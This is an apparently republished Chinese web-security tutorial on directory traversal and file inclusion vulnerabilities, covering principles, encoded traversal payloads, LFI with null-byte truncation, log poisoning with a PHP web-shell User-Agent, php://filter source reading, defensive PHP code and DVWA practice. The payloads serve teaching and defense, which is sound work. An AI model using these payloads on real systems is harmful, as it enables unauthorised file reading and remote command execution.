当前位置: 首页 > news >正文

网安系列【11】之目录穿越与文件包含漏洞详解

文章目录

  • 前言
  • 一 目录穿越漏洞
    • 1.1 什么是目录穿越?
    • 1.2 目录穿越的原理
    • 1.3 目录穿越的常见形式
      • 1.3.1 基本形式
      • 1.3.2 编码绕过
      • 1.3.3 绝对路径攻击
    • 1.4 实战案例解析
      • 1.4.1 案例1:简单的目录穿越
      • 1.4.2 案例2:编码绕过
    • 1.5 目录穿越的危害
  • 二、文件包含漏洞详解
    • 2.1 什么是文件包含?
    • 2.2 文件包含的原理
    • 2.3 文件包含的利用技巧
      • 2.3.1 LFI进阶利用
      • 2.3.2 RFI利用条件
    • 2.4 实战案例解析
      • 2.4.1 案例1:基本的LFI
      • 2.4.2 案例2:日志文件包含
      • 2.4.3 案例3:PHP伪协议利用
    • 2.5 文件包含的危害
  • 三、漏洞防御方案
    • 3.1 目录穿越防御措施
    • 3.2 文件包含防御措施
  • 四、实战演练环境搭建
    • 4.1 DVWA环境配置
    • 4.2 目录穿越练习
  • 五、漏洞挖掘与审计
    • 5.1 如何发现目录穿越漏洞
    • 5.2 如何发现文件包含漏洞
    • 5.3 代码审计要点

前言

  • 在Web安全领域,目录穿越(Directory Traversal)和文件包含(File Inclusion)是两种常见且危险的漏洞类型。本文将系统性地介绍这两种漏洞的原理、危害、利用方式及防御措施。

一 目录穿越漏洞

1.1 什么是目录穿越?

  • 目录穿越(Directory Traversal),又称路径遍历(Path Traversal),是一种允许攻击者访问Web服务器文件系统中本不应公开的文件的漏洞。攻击者通过操纵文件路径参数,使用"…/"等特殊符号跳出预期的目录限制。

  • 类比理解:想象你在一栋大楼里,每个房间都有严格的门禁。目录穿越就像找到了大楼设计上的漏洞,通过特定的路径组合,可以进入任何房间,甚至是管理员办公室。

1.2 目录穿越的原理

  • Web应用程序通常会使用动态文件路径来访问服务器上的资源。例如:
http://example.com/loadFile?filename=report.pdf
  • 如果应用程序没有正确验证filename参数,攻击者可以构造恶意路径:
http://example.com/loadFile?filename=../../etc/passwd

1.3 目录穿越的常见形式

1.3.1 基本形式

  • Unix/Linux系统:使用../返回上级目录
  • Windows系统:使用..\../返回上级目录

1.3.2 编码绕过

  • URL编码:%2e%2e%2f = ../
  • 双重编码:%252e%252e%252f = ../
  • Unicode编码:..%c0%af = ../ (某些系统)

1.3.3 绝对路径攻击

  • 直接指定绝对路径:
filename=/etc/passwd

1.4 实战案例解析

1.4.1 案例1:简单的目录穿越

  • 假设有一个图片查看服务:
http://example.com/viewImage?file=userUploads/avatar123.jpg
  • 攻击者尝试:
http://example.com/viewImage?file=../../../../etc/passwd
  • 如果服务未做防护,可能返回系统的passwd文件内容。

1.4.2 案例2:编码绕过

  • 某网站过滤了../但未考虑编码:
  • 正常请求:
http://example.com/download?file=document.pdf
  • 攻击请求:
http://example.com/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd

1.5 目录穿越的危害

  1. 敏感信息泄露:读取密码文件、配置文件等
  2. 系统文件篡改:修改关键系统文件
  3. 源代码泄露:获取应用程序源代码
  4. 辅助其他攻击:为后续攻击提供信息

二、文件包含漏洞详解

2.1 什么是文件包含?

  • 文件包含(File Inclusion)漏洞发生在应用程序动态包含文件时,未正确验证用户控制的文件路径参数,导致可以包含恶意文件。

文件包含分为两种:

  • 本地文件包含(LFI, Local File Inclusion):包含服务器本地的文件
  • 远程文件包含(RFI, Remote File Inclusion):包含远程服务器上的文件

2.2 文件包含的原理

  • 许多编程语言支持动态文件包含功能,例如PHP的include()require()函数。当用户输入直接作为包含参数时,就可能产生漏洞。PHP示例:
<?php
$page = $_GET['page'];
include($page . '.php');
?>
  • 正常访问:
http://example.com/index.php?page=home
  • 恶意访问:
http://example.com/index.php?page=/etc/passwd%00

(使用null字节%00截断.php后缀)

2.3 文件包含的利用技巧

2.3.1 LFI进阶利用

  1. 日志文件注入:通过包含access.log或error.log,结合UA或Referer注入PHP代码
  2. PHP伪协议
    • php://filter:读取文件源码
    • php://input:执行POST数据中的代码
  3. Session文件包含:通过包含session文件执行代码

2.3.2 RFI利用条件

  1. allow_url_fopenallow_url_include设置为On
  2. 目标文件后缀会被解析为PHP(如.jpg的PHP后门)

2.4 实战案例解析

2.4.1 案例1:基本的LFI

  • 某PHP网站:
http://example.com/index.php?module=contact
  • 后端代码:
include($_GET['module'] . '.php');

攻击:

http://example.com/index.php?module=../../../../etc/passwd%00

2.4.2 案例2:日志文件包含

  1. 确定服务器使用Apache,日志位于/var/log/apache2/access.log
  2. 在User-Agent中插入PHP代码:
    User-Agent: <?php system($_GET['cmd']); ?>
    
  3. 包含日志文件:
    http://example.com/index.php?page=/var/log/apache2/access.log
    
  4. 执行命令:
    http://example.com/index.php?page=/var/log/apache2/access.log&cmd=id
    

2.4.3 案例3:PHP伪协议利用

  • 读取PHP文件源码:
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index
  • 返回base64编码的源码,解码后可得原始代码。

2.5 文件包含的危害

  1. 任意代码执行:最严重的后果
  2. 敏感信息泄露:同目录穿越
  3. 网站篡改:植入后门或恶意内容
  4. 服务器沦陷:作为跳板攻击内网

三、漏洞防御方案

在这里插入图片描述

3.1 目录穿越防御措施

  1. 输入验证

    • 白名单验证:只允许预期的文件名
    • 黑名单过滤:过滤../..\
    • 正则表达式:/^[a-zA-Z0-9]+\.pdf$/
  2. 路径规范化

    • 解析路径中的...
    • 使用语言内置函数如PHP的realpath()
  3. 文件系统限制

    • 使用chroot jail
    • 设置适当的文件权限
  4. 示例代码(PHP)

$base_dir = '/var/www/uploads/';
$user_file = $_GET['file'];
$real_path = realpath($base_dir . $user_file);if (strpos($real_path, $base_dir) !== 0) {die('非法路径访问!');
}

3.2 文件包含防御措施

  1. 避免动态包含

    • 使用静态包含
    • 使用switch-case结构替代
  2. 白名单验证

$allowed = ['home', 'contact', 'about'];
$page = $_GET['page'];if (!in_array($page, $allowed)) {die('非法页面请求!');
}
include($page . '.php');
  1. 设置PHP配置

    • allow_url_include = Off
    • allow_url_fopen = Off
  2. 文件路径限制

    • 设置包含目录
    • 禁止包含用户上传目录
  3. 使用安全函数

    • basename():只返回文件名部分
    • realpath() + 前缀检查

四、实战演练环境搭建

4.1 DVWA环境配置

  1. 下载Damn Vulnerable Web Application(DVWA)
  2. 配置PHP环境(建议5.4+)
  3. 设置DVWA安全级别为"low"进行练习

4.2 目录穿越练习

  1. 在DVWA中选择"File Inclusion"
  2. 尝试读取服务器上的/var/www/html/vulnerabilities/fi/help/help.php文件
  3. 尝试使用不同编码方式绕过

五、漏洞挖掘与审计

5.1 如何发现目录穿越漏洞

  1. 参数分析
    • 查找文件路径参数(file, path, page等)
    • 测试参数是否接受路径遍历序列
  2. 测试方法
    • 基础测试:尝试../../etc/passwd
    • 编码测试:尝试URL编码、双重编码
    • 边界测试:尝试不同数量的../

5.2 如何发现文件包含漏洞

  1. 参数分析

    • 查找包含功能的参数(include, page, module等)
    • 测试参数是否可以包含远程文件
  2. 测试方法

    • 基础LFI测试
    • RFI测试(需配置允许)
    • 特殊协议测试(php://, data://等)

5.3 代码审计要点

  1. 危险函数识别

    • PHP:include, require, include_once, require_once, fopen
    • Java:FileInputStream, RandomAccessFile
    • .NET:File.Open, File.ReadAllText
  2. 输入追踪

    • 跟踪用户输入如何传递到文件操作函数
    • 检查是否有足够的验证和过滤
http://www.dtcms.com/a/269275.html

相关文章:

  • ULVAC爱发科RFS03D RF POWER SUPPLY INSTRUCTION MANUAL RF射频电源
  • Kotlin数值计算Long型乘Float浮点型
  • 安卓10.0系统修改定制化____recovery-from-boot.p文件的具体作用 在定制项目中的关联
  • LLVM,polly,最新测试
  • 【郑大二年级信安小学期】Day6:CTF密码学杂项工具包
  • Multi-Agent 多智能体架构解析--DeerFlow
  • 【DPDK应用篇】事件驱动架构:eventdev异步处理模型的设计与实现
  • 大数据Spark(六十二):Spark基于Yarn提交任务流程
  • C++内存泄漏排查
  • 施密特触发器Multisim电路仿真——硬件工程师笔记
  • 暑假读书笔记第三天
  • Linux信号处理全解析
  • Qt中的QProcess类
  • 【学习笔记】大数定理,频率与概率,均值与期望的区别
  • MySQL数据表设计 系统的营销功能 优惠券、客户使用优惠券的设计
  • 2025Q2大模型更新汇总(大语言模型篇)
  • Web后端开发-分层解耦
  • 【Java面试】如何保证接口的幂等性?
  • Day06_刷题niuke20250707
  • pythone相关内容一
  • Spring 如何干预 Bean 的生命周期?
  • 洛谷 P5788 【模板】单调栈
  • 龙旗科技社招校招入职测评25年北森笔试测评题库答题攻略
  • 人工智能-基础篇-22-什么是智能体Agent?(具备主动执行和调优的人工智能产物)
  • elementUI vue2 前端表格table数据导出(二)
  • 超光谱相机的原理和应用场景
  • Java后端技术博客汇总文档
  • C语言——编译与链接
  • Dash 代码API文档管理工具 Mac电脑
  • JVM基础01(从入门到八股-黑马篇)